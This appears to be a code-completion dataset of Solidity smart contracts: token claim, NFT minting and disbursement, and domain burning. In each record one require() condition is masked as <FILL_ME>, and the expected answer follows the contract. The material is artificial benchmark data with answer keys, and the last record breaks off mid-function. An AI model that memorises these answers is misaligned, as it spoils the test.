* @param signature The signature proving the claim is valid.
*/
function claim(
address user,
uint256 amount,
bytes calldata signature
) external {
require(block.number <= deadline, "Claim period is over");
require(!claimed[user], "Tokens already claimed for this address");
require(
totalSupply() + amount <= MAX_SUPPLY,
"Claim would exceed max supply"
);
bytes32 msgHash = keccak256(abi.encode(user, amount, address(this)));
require(<FILL_ME>)
claimed[user] = true;
_mint(user, amount);
}
/**
* @dev Allows the owner to sweep unclaimed tokens after the deadline.
* This moves all remaining unclaimed tokens to the developer's address.
*/
function sweep() external onlyOwner {
}
/**
* @dev Allows the owner to mint tokens to the developer's address once.
* This is meant for initial distribution to the developer.
*/
function mintToDev() external onlyOwner {
}
// Owner administrative functions
/**
* @dev Allows the owner to update the signer address.
* @param newSigner The new signer address.
*/
function updateClaimSigner(address newSigner) external onlyOwner {
}
/**
* @dev Allows the owner to update the developer address.
* @param newDevAddress The new developer address.
*/
function updateDevAddress(address newDevAddress) external onlyOwner {
}
/**
* @dev Allows the owner to update the deadline for claiming tokens.
* @param newDeadline The new deadline (block number).
*/
function updateDeadline(uint256 newDeadline) external onlyOwner {
}
}
| _validSignature(signature,msgHash),"Invalid signature" | 434,443 | _validSignature(signature,msgHash) |
"Minting would exceed max supply" | pragma solidity ^0.8.0;
/**
* @title EZSwap Token Contract
* @dev ERC20 Token with a capped supply and claimable functionality based on signatures.
*/
contract EZSwapToken is ERC20, Ownable {
using ECDSA for bytes32;
address public claimSigner; // The address authorized to sign claim messages.
address public devAddress; // The developer's address for initial token allocation and sweeping unclaimed tokens.
mapping(address => bool) public claimed; // Tracks whether an address has already claimed tokens.
uint256 public deadline; // The block number after which no more tokens can be claimed.
bool private devMinted = false; // Ensures the initial minting for the developer can only happen once.
// Constants
uint256 public constant DEV_SUPPLY = 900000000 * 10 ** 18; // 900,000,000 EZT for the developer.
uint256 public constant MAX_SUPPLY = 1000000000 * 10 ** 18; // The total cap of 1 Billion EZT.
/**
* @dev Constructor for EZSwap initializing the token, roles, and supply.
* @param _signer The address allowed to sign claim messages.
* @param _devAddress The address of the developer for initial minting.
* @param _deadline The block number after which no more tokens can be claimed.
*/
constructor(
address _signer,
address _devAddress,
uint256 _deadline
) ERC20("EZ", "EZ") Ownable(msg.sender) {
}
/**
* @dev Internal function to validate if the provided signature matches the expected signer.
* @param signature The provided signature to verify.
* @param msgHash The hash of the original message that was signed.
* @return bool Returns true if the signature is valid and from the expected signer.
*/
function _validSignature(
bytes memory signature,
bytes32 msgHash
) internal view returns (bool) {
}
/**
* @dev Allows users to claim tokens if they have a valid signature.
* @param user The address of the user claiming tokens.
* @param amount The amount of tokens being claimed.
* @param signature The signature proving the claim is valid.
*/
function claim(
address user,
uint256 amount,
bytes calldata signature
) external {
}
/**
* @dev Allows the owner to sweep unclaimed tokens after the deadline.
* This moves all remaining unclaimed tokens to the developer's address.
*/
function sweep() external onlyOwner {
require(block.number > deadline, "The deadline has not passed yet");
uint256 remainingSupply = MAX_SUPPLY - totalSupply();
require(<FILL_ME>)
_mint(devAddress, remainingSupply);
}
/**
* @dev Allows the owner to mint tokens to the developer's address once.
* This is meant for initial distribution to the developer.
*/
function mintToDev() external onlyOwner {
}
// Owner administrative functions
/**
* @dev Allows the owner to update the signer address.
* @param newSigner The new signer address.
*/
function updateClaimSigner(address newSigner) external onlyOwner {
}
/**
* @dev Allows the owner to update the developer address.
* @param newDevAddress The new developer address.
*/
function updateDevAddress(address newDevAddress) external onlyOwner {
}
/**
* @dev Allows the owner to update the deadline for claiming tokens.
* @param newDeadline The new deadline (block number).
*/
function updateDeadline(uint256 newDeadline) external onlyOwner {
}
}
| totalSupply()+remainingSupply<=MAX_SUPPLY,"Minting would exceed max supply" | 434,443 | totalSupply()+remainingSupply<=MAX_SUPPLY |
"Initial dev minting has already been done" | pragma solidity ^0.8.0;
/**
* @title EZSwap Token Contract
* @dev ERC20 Token with a capped supply and claimable functionality based on signatures.
*/
contract EZSwapToken is ERC20, Ownable {
using ECDSA for bytes32;
address public claimSigner; // The address authorized to sign claim messages.
address public devAddress; // The developer's address for initial token allocation and sweeping unclaimed tokens.
mapping(address => bool) public claimed; // Tracks whether an address has already claimed tokens.
uint256 public deadline; // The block number after which no more tokens can be claimed.
bool private devMinted = false; // Ensures the initial minting for the developer can only happen once.
// Constants
uint256 public constant DEV_SUPPLY = 900000000 * 10 ** 18; // 900,000,000 EZT for the developer.
uint256 public constant MAX_SUPPLY = 1000000000 * 10 ** 18; // The total cap of 1 Billion EZT.
/**
* @dev Constructor for EZSwap initializing the token, roles, and supply.
* @param _signer The address allowed to sign claim messages.
* @param _devAddress The address of the developer for initial minting.
* @param _deadline The block number after which no more tokens can be claimed.
*/
constructor(
address _signer,
address _devAddress,
uint256 _deadline
) ERC20("EZ", "EZ") Ownable(msg.sender) {
}
/**
* @dev Internal function to validate if the provided signature matches the expected signer.
* @param signature The provided signature to verify.
* @param msgHash The hash of the original message that was signed.
* @return bool Returns true if the signature is valid and from the expected signer.
*/
function _validSignature(
bytes memory signature,
bytes32 msgHash
) internal view returns (bool) {
}
/**
* @dev Allows users to claim tokens if they have a valid signature.
* @param user The address of the user claiming tokens.
* @param amount The amount of tokens being claimed.
* @param signature The signature proving the claim is valid.
*/
function claim(
address user,
uint256 amount,
bytes calldata signature
) external {
}
/**
* @dev Allows the owner to sweep unclaimed tokens after the deadline.
* This moves all remaining unclaimed tokens to the developer's address.
*/
function sweep() external onlyOwner {
}
/**
* @dev Allows the owner to mint tokens to the developer's address once.
* This is meant for initial distribution to the developer.
*/
function mintToDev() external onlyOwner {
require(<FILL_ME>)
require(
totalSupply() + DEV_SUPPLY <= MAX_SUPPLY,
"Minting would exceed max supply"
);
devMinted = true;
_mint(devAddress, DEV_SUPPLY);
}
// Owner administrative functions
/**
* @dev Allows the owner to update the signer address.
* @param newSigner The new signer address.
*/
function updateClaimSigner(address newSigner) external onlyOwner {
}
/**
* @dev Allows the owner to update the developer address.
* @param newDevAddress The new developer address.
*/
function updateDevAddress(address newDevAddress) external onlyOwner {
}
/**
* @dev Allows the owner to update the deadline for claiming tokens.
* @param newDeadline The new deadline (block number).
*/
function updateDeadline(uint256 newDeadline) external onlyOwner {
}
}
| !devMinted,"Initial dev minting has already been done" | 434,443 | !devMinted |
"Minting would exceed max supply" | pragma solidity ^0.8.0;
/**
* @title EZSwap Token Contract
* @dev ERC20 Token with a capped supply and claimable functionality based on signatures.
*/
contract EZSwapToken is ERC20, Ownable {
using ECDSA for bytes32;
address public claimSigner; // The address authorized to sign claim messages.
address public devAddress; // The developer's address for initial token allocation and sweeping unclaimed tokens.
mapping(address => bool) public claimed; // Tracks whether an address has already claimed tokens.
uint256 public deadline; // The block number after which no more tokens can be claimed.
bool private devMinted = false; // Ensures the initial minting for the developer can only happen once.
// Constants
uint256 public constant DEV_SUPPLY = 900000000 * 10 ** 18; // 900,000,000 EZT for the developer.
uint256 public constant MAX_SUPPLY = 1000000000 * 10 ** 18; // The total cap of 1 Billion EZT.
/**
* @dev Constructor for EZSwap initializing the token, roles, and supply.
* @param _signer The address allowed to sign claim messages.
* @param _devAddress The address of the developer for initial minting.
* @param _deadline The block number after which no more tokens can be claimed.
*/
constructor(
address _signer,
address _devAddress,
uint256 _deadline
) ERC20("EZ", "EZ") Ownable(msg.sender) {
}
/**
* @dev Internal function to validate if the provided signature matches the expected signer.
* @param signature The provided signature to verify.
* @param msgHash The hash of the original message that was signed.
* @return bool Returns true if the signature is valid and from the expected signer.
*/
function _validSignature(
bytes memory signature,
bytes32 msgHash
) internal view returns (bool) {
}
/**
* @dev Allows users to claim tokens if they have a valid signature.
* @param user The address of the user claiming tokens.
* @param amount The amount of tokens being claimed.
* @param signature The signature proving the claim is valid.
*/
function claim(
address user,
uint256 amount,
bytes calldata signature
) external {
}
/**
* @dev Allows the owner to sweep unclaimed tokens after the deadline.
* This moves all remaining unclaimed tokens to the developer's address.
*/
function sweep() external onlyOwner {
}
/**
* @dev Allows the owner to mint tokens to the developer's address once.
* This is meant for initial distribution to the developer.
*/
function mintToDev() external onlyOwner {
require(!devMinted, "Initial dev minting has already been done");
require(<FILL_ME>)
devMinted = true;
_mint(devAddress, DEV_SUPPLY);
}
// Owner administrative functions
/**
* @dev Allows the owner to update the signer address.
* @param newSigner The new signer address.
*/
function updateClaimSigner(address newSigner) external onlyOwner {
}
/**
* @dev Allows the owner to update the developer address.
* @param newDevAddress The new developer address.
*/
function updateDevAddress(address newDevAddress) external onlyOwner {
}
/**
* @dev Allows the owner to update the deadline for claiming tokens.
* @param newDeadline The new deadline (block number).
*/
function updateDeadline(uint256 newDeadline) external onlyOwner {
}
}
| totalSupply()+DEV_SUPPLY<=MAX_SUPPLY,"Minting would exceed max supply" | 434,443 | totalSupply()+DEV_SUPPLY<=MAX_SUPPLY |
'NET' | // SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma abicoder v2;
import './IToken.sol';
abstract contract Token is IToken {
function getTokenAmount(Token[] memory tokens, address token) internal pure returns (uint256) {
}
function increaseToken(Token[] storage tokens, address token, uint256 amount) internal {
}
function decreaseToken(Token[] storage tokens, address token, uint256 amount) internal returns (bool) {
for (uint256 i=0; i<tokens.length; i++) {
if (tokens[i].token == token) {
require(<FILL_ME>)
tokens[i].amount -= amount;
if (tokens[i].amount == 0) {
uint256 lastIndex = tokens.length-1;
address lastToken = tokens[lastIndex].token;
uint256 lastTokenAmount = tokens[lastIndex].amount;
tokens[i].token = lastToken;
tokens[i].amount = lastTokenAmount;
tokens.pop();
}
return true;
}
}
return false;
}
}
| tokens[i].amount>=amount,'NET' | 434,642 | tokens[i].amount>=amount |
"This release has reached it's limited supply!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/// @author Sergio Martell - Motley Ds
/**
* @notice This is the first iteration for the implementation of the erc-1155 for the Music 3.0 initiative.
* this contract is an organization based contract, that will be controlled by a management team.
* The structure of the contract allows for multiple releases or "drops" that can all be under the same instrument.
*/
/**
* @dev This is an Organization Controlled Music 3.0 ERC-1155 Contract, for Band NFTs.
* Please review the docs at www.bandnfts.com and the metadata on these assets to be able to interact with the
* Music 3.0 and Band Royalty ecosystem.
*/
contract WhoMag is ERC1155, ReentrancyGuard, Ownable {
string public name;
string public symbol;
IERC20 public ryltToken;
// Releases - store base URI for the different releases from the artist, this way there is no need to have 1 shared baseURI.
// note: Make sure that you are referencing an uploaded folder, not the file itself. The contract will give back the baseURI+tokenID
// and also make sure you remove the .json extension to the file when uploading the folder.
mapping (uint256 => string) private _releases;
// Prices - for each of the releases, prices must be set in Gwei.
mapping (uint256 => uint256) private _prices;
// RYLT Price - for each of the releases, prices must be set with 18 decimals.
mapping (uint256 => uint256) private _ryltPrice;
// Supplies - Per release, the total number of tokens that will exist per release.
mapping (uint256 => uint256) private _supplies;
// Tokens minted, a way to track the amount of tokens that have been minted per release.
mapping(uint256 => uint256) private _minted;
address _bstage = 0x69226ec93F31B11a1AAB0253CA3F4bAF8D56B407;
address _rylty = 0x02A0355545A6c6F3951288C2DC878e930a738235;
address _band = 0xfAE7ba7eA15Dd2eAd68593f0701793bC43B7dB10;
// Switch to close and open sale;
bool _saleActive = false;
event ReleaseMinted(address sender, uint256 quantity, uint256 tokenId);
constructor() ERC1155("") {
}
// Owner Only functions.
function setSaleState(bool _newSaleActive) external onlyOwner {
}
// Owner mint, will reflect on total supply.
function ownerMint(uint256 id, uint256 amount)
public
onlyOwner
{
require(<FILL_ME>)
_mint(msg.sender, id, amount, "");
_minted[id]+= amount;
}
function changeBaseURI(string memory _uri, uint256 tokenId)
public
onlyOwner
{
}
function changePrice(uint256 _price, uint256 tokenId)
public
onlyOwner
{
}
function changeRYLTPrice(uint256 price, uint256 tokenId)
public
onlyOwner
{
}
/**
* @dev please take notice of the _releases comment. And make sure that the folder that is uploaded to IPFS has a file with the tokenId as the name (0,1,2,3),
* the token Ids must me whole numbers.
*/
function createRelease(uint256 tokenId, uint256 supply, uint256 price, uint256 ryltPrice, string memory baseURI)
public
onlyOwner
{
}
function disburse() external onlyOwner {
}
function disburseRYLT() external onlyOwner {
}
function emergencyWithdraw() external payable onlyOwner {
}
// API
function mint(uint256 id, uint256 amount)
public
payable
nonReentrant
{
}
function royalMint(uint256 id, uint256 amount, uint256 value)
public
payable
nonReentrant
{
}
function totalSupply(uint256 id) public view returns (uint256 supply){
}
/**
* @dev Returns the URI to the contract metadata as required by OpenSea
*/
function contractURI() public pure returns (string memory){
}
function uri(uint256 tokenId) override public view returns (string memory) {
}
// fallback functions to handle someone sending ETH to contract
fallback() external payable {}
receive() external payable {}
}
| _minted[id]+amount<=_supplies[id],"This release has reached it's limited supply!" | 434,644 | _minted[id]+amount<=_supplies[id] |
"Failed to send to rylty stake pool" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/// @author Sergio Martell - Motley Ds
/**
* @notice This is the first iteration for the implementation of the erc-1155 for the Music 3.0 initiative.
* this contract is an organization based contract, that will be controlled by a management team.
* The structure of the contract allows for multiple releases or "drops" that can all be under the same instrument.
*/
/**
* @dev This is an Organization Controlled Music 3.0 ERC-1155 Contract, for Band NFTs.
* Please review the docs at www.bandnfts.com and the metadata on these assets to be able to interact with the
* Music 3.0 and Band Royalty ecosystem.
*/
contract WhoMag is ERC1155, ReentrancyGuard, Ownable {
string public name;
string public symbol;
IERC20 public ryltToken;
// Releases - store base URI for the different releases from the artist, this way there is no need to have 1 shared baseURI.
// note: Make sure that you are referencing an uploaded folder, not the file itself. The contract will give back the baseURI+tokenID
// and also make sure you remove the .json extension to the file when uploading the folder.
mapping (uint256 => string) private _releases;
// Prices - for each of the releases, prices must be set in Gwei.
mapping (uint256 => uint256) private _prices;
// RYLT Price - for each of the releases, prices must be set with 18 decimals.
mapping (uint256 => uint256) private _ryltPrice;
// Supplies - Per release, the total number of tokens that will exist per release.
mapping (uint256 => uint256) private _supplies;
// Tokens minted, a way to track the amount of tokens that have been minted per release.
mapping(uint256 => uint256) private _minted;
address _bstage = 0x69226ec93F31B11a1AAB0253CA3F4bAF8D56B407;
address _rylty = 0x02A0355545A6c6F3951288C2DC878e930a738235;
address _band = 0xfAE7ba7eA15Dd2eAd68593f0701793bC43B7dB10;
// Switch to close and open sale;
bool _saleActive = false;
event ReleaseMinted(address sender, uint256 quantity, uint256 tokenId);
constructor() ERC1155("") {
}
// Owner Only functions.
function setSaleState(bool _newSaleActive) external onlyOwner {
}
// Owner mint, will reflect on total supply.
function ownerMint(uint256 id, uint256 amount)
public
onlyOwner
{
}
function changeBaseURI(string memory _uri, uint256 tokenId)
public
onlyOwner
{
}
function changePrice(uint256 _price, uint256 tokenId)
public
onlyOwner
{
}
function changeRYLTPrice(uint256 price, uint256 tokenId)
public
onlyOwner
{
}
/**
* @dev please take notice of the _releases comment. And make sure that the folder that is uploaded to IPFS has a file with the tokenId as the name (0,1,2,3),
* the token Ids must me whole numbers.
*/
function createRelease(uint256 tokenId, uint256 supply, uint256 price, uint256 ryltPrice, string memory baseURI)
public
onlyOwner
{
}
function disburse() external onlyOwner {
uint256 _rylamount = address(this).balance * 125/10000;
uint256 _bstageamount = address(this).balance * 125/10000;
uint256 _bndamount = address(this).balance * 375/1000;
require(<FILL_ME>)
require(payable(_band).send(_bndamount), "Failed to send to BAND");
require(payable(_bstage).send(_bstageamount), "Failed to send to BSTAGE stake pool");
require(payable(msg.sender).send(address(this).balance));
}
function disburseRYLT() external onlyOwner {
}
function emergencyWithdraw() external payable onlyOwner {
}
// API
function mint(uint256 id, uint256 amount)
public
payable
nonReentrant
{
}
function royalMint(uint256 id, uint256 amount, uint256 value)
public
payable
nonReentrant
{
}
function totalSupply(uint256 id) public view returns (uint256 supply){
}
/**
* @dev Returns the URI to the contract metadata as required by OpenSea
*/
function contractURI() public pure returns (string memory){
}
function uri(uint256 tokenId) override public view returns (string memory) {
}
// fallback functions to handle someone sending ETH to contract
fallback() external payable {}
receive() external payable {}
}
| payable(_rylty).send(_rylamount),"Failed to send to rylty stake pool" | 434,644 | payable(_rylty).send(_rylamount) |
"Failed to send to BAND" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/// @author Sergio Martell - Motley Ds
/**
* @notice This is the first iteration for the implementation of the erc-1155 for the Music 3.0 initiative.
* this contract is an organization based contract, that will be controlled by a management team.
* The structure of the contract allows for multiple releases or "drops" that can all be under the same instrument.
*/
/**
* @dev This is an Organization Controlled Music 3.0 ERC-1155 Contract, for Band NFTs.
* Please review the docs at www.bandnfts.com and the metadata on these assets to be able to interact with the
* Music 3.0 and Band Royalty ecosystem.
*/
contract WhoMag is ERC1155, ReentrancyGuard, Ownable {
string public name;
string public symbol;
IERC20 public ryltToken;
// Releases - store base URI for the different releases from the artist, this way there is no need to have 1 shared baseURI.
// note: Make sure that you are referencing an uploaded folder, not the file itself. The contract will give back the baseURI+tokenID
// and also make sure you remove the .json extension to the file when uploading the folder.
mapping (uint256 => string) private _releases;
// Prices - for each of the releases, prices must be set in Gwei.
mapping (uint256 => uint256) private _prices;
// RYLT Price - for each of the releases, prices must be set with 18 decimals.
mapping (uint256 => uint256) private _ryltPrice;
// Supplies - Per release, the total number of tokens that will exist per release.
mapping (uint256 => uint256) private _supplies;
// Tokens minted, a way to track the amount of tokens that have been minted per release.
mapping(uint256 => uint256) private _minted;
address _bstage = 0x69226ec93F31B11a1AAB0253CA3F4bAF8D56B407;
address _rylty = 0x02A0355545A6c6F3951288C2DC878e930a738235;
address _band = 0xfAE7ba7eA15Dd2eAd68593f0701793bC43B7dB10;
// Switch to close and open sale;
bool _saleActive = false;
event ReleaseMinted(address sender, uint256 quantity, uint256 tokenId);
constructor() ERC1155("") {
}
// Owner Only functions.
function setSaleState(bool _newSaleActive) external onlyOwner {
}
// Owner mint, will reflect on total supply.
function ownerMint(uint256 id, uint256 amount)
public
onlyOwner
{
}
function changeBaseURI(string memory _uri, uint256 tokenId)
public
onlyOwner
{
}
function changePrice(uint256 _price, uint256 tokenId)
public
onlyOwner
{
}
function changeRYLTPrice(uint256 price, uint256 tokenId)
public
onlyOwner
{
}
/**
* @dev please take notice of the _releases comment. And make sure that the folder that is uploaded to IPFS has a file with the tokenId as the name (0,1,2,3),
* the token Ids must me whole numbers.
*/
function createRelease(uint256 tokenId, uint256 supply, uint256 price, uint256 ryltPrice, string memory baseURI)
public
onlyOwner
{
}
function disburse() external onlyOwner {
uint256 _rylamount = address(this).balance * 125/10000;
uint256 _bstageamount = address(this).balance * 125/10000;
uint256 _bndamount = address(this).balance * 375/1000;
require(payable(_rylty).send(_rylamount), "Failed to send to rylty stake pool");
require(<FILL_ME>)
require(payable(_bstage).send(_bstageamount), "Failed to send to BSTAGE stake pool");
require(payable(msg.sender).send(address(this).balance));
}
function disburseRYLT() external onlyOwner {
}
function emergencyWithdraw() external payable onlyOwner {
}
// API
function mint(uint256 id, uint256 amount)
public
payable
nonReentrant
{
}
function royalMint(uint256 id, uint256 amount, uint256 value)
public
payable
nonReentrant
{
}
function totalSupply(uint256 id) public view returns (uint256 supply){
}
/**
* @dev Returns the URI to the contract metadata as required by OpenSea
*/
function contractURI() public pure returns (string memory){
}
function uri(uint256 tokenId) override public view returns (string memory) {
}
// fallback functions to handle someone sending ETH to contract
fallback() external payable {}
receive() external payable {}
}
| payable(_band).send(_bndamount),"Failed to send to BAND" | 434,644 | payable(_band).send(_bndamount) |
"Failed to send to BSTAGE stake pool" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/// @author Sergio Martell - Motley Ds
/**
* @notice This is the first iteration for the implementation of the erc-1155 for the Music 3.0 initiative.
* this contract is an organization based contract, that will be controlled by a management team.
* The structure of the contract allows for multiple releases or "drops" that can all be under the same instrument.
*/
/**
* @dev This is an Organization Controlled Music 3.0 ERC-1155 Contract, for Band NFTs.
* Please review the docs at www.bandnfts.com and the metadata on these assets to be able to interact with the
* Music 3.0 and Band Royalty ecosystem.
*/
contract WhoMag is ERC1155, ReentrancyGuard, Ownable {
string public name;
string public symbol;
IERC20 public ryltToken;
// Releases - store base URI for the different releases from the artist, this way there is no need to have 1 shared baseURI.
// note: Make sure that you are referencing an uploaded folder, not the file itself. The contract will give back the baseURI+tokenID
// and also make sure you remove the .json extension to the file when uploading the folder.
mapping (uint256 => string) private _releases;
// Prices - for each of the releases, prices must be set in Gwei.
mapping (uint256 => uint256) private _prices;
// RYLT Price - for each of the releases, prices must be set with 18 decimals.
mapping (uint256 => uint256) private _ryltPrice;
// Supplies - Per release, the total number of tokens that will exist per release.
mapping (uint256 => uint256) private _supplies;
// Tokens minted, a way to track the amount of tokens that have been minted per release.
mapping(uint256 => uint256) private _minted;
address _bstage = 0x69226ec93F31B11a1AAB0253CA3F4bAF8D56B407;
address _rylty = 0x02A0355545A6c6F3951288C2DC878e930a738235;
address _band = 0xfAE7ba7eA15Dd2eAd68593f0701793bC43B7dB10;
// Switch to close and open sale;
bool _saleActive = false;
event ReleaseMinted(address sender, uint256 quantity, uint256 tokenId);
constructor() ERC1155("") {
}
// Owner Only functions.
function setSaleState(bool _newSaleActive) external onlyOwner {
}
// Owner mint, will reflect on total supply.
function ownerMint(uint256 id, uint256 amount)
public
onlyOwner
{
}
function changeBaseURI(string memory _uri, uint256 tokenId)
public
onlyOwner
{
}
function changePrice(uint256 _price, uint256 tokenId)
public
onlyOwner
{
}
function changeRYLTPrice(uint256 price, uint256 tokenId)
public
onlyOwner
{
}
/**
* @dev please take notice of the _releases comment. And make sure that the folder that is uploaded to IPFS has a file with the tokenId as the name (0,1,2,3),
* the token Ids must me whole numbers.
*/
function createRelease(uint256 tokenId, uint256 supply, uint256 price, uint256 ryltPrice, string memory baseURI)
public
onlyOwner
{
}
function disburse() external onlyOwner {
uint256 _rylamount = address(this).balance * 125/10000;
uint256 _bstageamount = address(this).balance * 125/10000;
uint256 _bndamount = address(this).balance * 375/1000;
require(payable(_rylty).send(_rylamount), "Failed to send to rylty stake pool");
require(payable(_band).send(_bndamount), "Failed to send to BAND");
require(<FILL_ME>)
require(payable(msg.sender).send(address(this).balance));
}
function disburseRYLT() external onlyOwner {
}
function emergencyWithdraw() external payable onlyOwner {
}
// API
function mint(uint256 id, uint256 amount)
public
payable
nonReentrant
{
}
function royalMint(uint256 id, uint256 amount, uint256 value)
public
payable
nonReentrant
{
}
function totalSupply(uint256 id) public view returns (uint256 supply){
}
/**
* @dev Returns the URI to the contract metadata as required by OpenSea
*/
function contractURI() public pure returns (string memory){
}
function uri(uint256 tokenId) override public view returns (string memory) {
}
// fallback functions to handle someone sending ETH to contract
fallback() external payable {}
receive() external payable {}
}
| payable(_bstage).send(_bstageamount),"Failed to send to BSTAGE stake pool" | 434,644 | payable(_bstage).send(_bstageamount) |
"This release does not exist." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/// @author Sergio Martell - Motley Ds
/**
* @notice This is the first iteration for the implementation of the erc-1155 for the Music 3.0 initiative.
* this contract is an organization based contract, that will be controlled by a management team.
* The structure of the contract allows for multiple releases or "drops" that can all be under the same instrument.
*/
/**
* @dev This is an Organization Controlled Music 3.0 ERC-1155 Contract, for Band NFTs.
* Please review the docs at www.bandnfts.com and the metadata on these assets to be able to interact with the
* Music 3.0 and Band Royalty ecosystem.
*/
contract WhoMag is ERC1155, ReentrancyGuard, Ownable {
string public name;
string public symbol;
IERC20 public ryltToken;
// Releases - store base URI for the different releases from the artist, this way there is no need to have 1 shared baseURI.
// note: Make sure that you are referencing an uploaded folder, not the file itself. The contract will give back the baseURI+tokenID
// and also make sure you remove the .json extension to the file when uploading the folder.
mapping (uint256 => string) private _releases;
// Prices - for each of the releases, prices must be set in Gwei.
mapping (uint256 => uint256) private _prices;
// RYLT Price - for each of the releases, prices must be set with 18 decimals.
mapping (uint256 => uint256) private _ryltPrice;
// Supplies - Per release, the total number of tokens that will exist per release.
mapping (uint256 => uint256) private _supplies;
// Tokens minted, a way to track the amount of tokens that have been minted per release.
mapping(uint256 => uint256) private _minted;
address _bstage = 0x69226ec93F31B11a1AAB0253CA3F4bAF8D56B407;
address _rylty = 0x02A0355545A6c6F3951288C2DC878e930a738235;
address _band = 0xfAE7ba7eA15Dd2eAd68593f0701793bC43B7dB10;
// Switch to close and open sale;
bool _saleActive = false;
event ReleaseMinted(address sender, uint256 quantity, uint256 tokenId);
constructor() ERC1155("") {
}
// Owner Only functions.
function setSaleState(bool _newSaleActive) external onlyOwner {
}
// Owner mint, will reflect on total supply.
function ownerMint(uint256 id, uint256 amount)
public
onlyOwner
{
}
function changeBaseURI(string memory _uri, uint256 tokenId)
public
onlyOwner
{
}
function changePrice(uint256 _price, uint256 tokenId)
public
onlyOwner
{
}
function changeRYLTPrice(uint256 price, uint256 tokenId)
public
onlyOwner
{
}
/**
* @dev please take notice of the _releases comment. And make sure that the folder that is uploaded to IPFS has a file with the tokenId as the name (0,1,2,3),
* the token Ids must me whole numbers.
*/
function createRelease(uint256 tokenId, uint256 supply, uint256 price, uint256 ryltPrice, string memory baseURI)
public
onlyOwner
{
}
function disburse() external onlyOwner {
}
function disburseRYLT() external onlyOwner {
}
function emergencyWithdraw() external payable onlyOwner {
}
// API
function mint(uint256 id, uint256 amount)
public
payable
nonReentrant
{
require(_saleActive, "Sale not active");
require(<FILL_ME>)
require(_minted[id]+ amount <= _supplies[id], "This release has reached it's limited supply!");
require(msg.value >= amount * _prices[id], "The amount sent doesn't cover the price for the asset");
_mint(msg.sender, id, amount, "");
_minted[id]+= amount;
emit ReleaseMinted(msg.sender, amount, id);
}
function royalMint(uint256 id, uint256 amount, uint256 value)
public
payable
nonReentrant
{
}
function totalSupply(uint256 id) public view returns (uint256 supply){
}
/**
* @dev Returns the URI to the contract metadata as required by OpenSea
*/
function contractURI() public pure returns (string memory){
}
function uri(uint256 tokenId) override public view returns (string memory) {
}
// fallback functions to handle someone sending ETH to contract
fallback() external payable {}
receive() external payable {}
}
| _supplies[id]>0,"This release does not exist." | 434,644 | _supplies[id]>0 |
"You do not own the selected domain" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./interfaces/IDegenDNSMetadata.sol";
import "../../interfaces/IBaseDegenDNS.sol";
import "../../lib/strings.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "base64-sol/base64.sol";
/// @title Degen Domains DNS contract
/// @author CipherLabs - forked from OG author Tempe Techie
/// @notice Dynamically generated NFT contract which represents a top-level domain
contract DegenDNS is IBaseDegenDNS, ERC721, Ownable, ReentrancyGuard {
using strings for string;
// Domain struct is defined in IBaseDegenDNS
address public immutable factoryAddress; // DegenDNSFactory address
address public metadataAddress; // DegenMetadata address
address public minter; // address which is allowed to mint domains even if contract is paused
address public royaltyFeeUpdater; // address which is allowed to change the royalty fee
address public royaltyFeeReceiver; // address which receives the royalty fee
bool public buyingEnabled = false; // buying domains enabled
bool public buyingDisabledForever = false; // buying domains disabled forever
bool public metadataFrozen = false; // metadata address frozen forever
uint256 public totalSupply;
uint256 public idCounter = 1; // up only
uint256 public override price; // domain price
uint256 public royalty; // share of each domain purchase (in bips) that goes to Degen Domains
uint256 public override referral = 6000; // share of each domain purchase (in bips) that goes to the referrer (referral fee)
uint256 public nameMaxLength = 140; // max length of a domain name
mapping (string => Domain) public override domains; // mapping (domain name => Domain struct); Domain struct is defined in IBaseDegenDNS
mapping (uint256 => string) public domainIdsNames; // mapping (tokenId => domain name)
mapping (address => string) public override defaultNames; // user's default domain
event MintingDisabledForever(address user);
constructor(
string memory _name,
string memory _symbol,
address _tldOwner,
uint256 _domainPrice,
bool _buyingEnabled,
uint256 _royalty,
address _factoryAddress,
address _metadataAddress
) ERC721(_name, _symbol) {
}
// READ
// Domain getters - you can also get all Domain data by calling the auto-generated domains(domainName) method
function getDomainHolder(string calldata _domainName) public override view returns(address) {
}
function getDomainData(string calldata _domainName) public override view returns(string memory) {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
// WRITE
/// @notice Burn function
function burn(string calldata _domainName) external {
string memory dName = strings.lower(_domainName);
require(<FILL_ME>)
uint256 tokenId = domains[dName].tokenId;
delete domainIdsNames[tokenId]; // delete tokenId => domainName mapping
delete domains[dName]; // delete string => Domain struct mapping
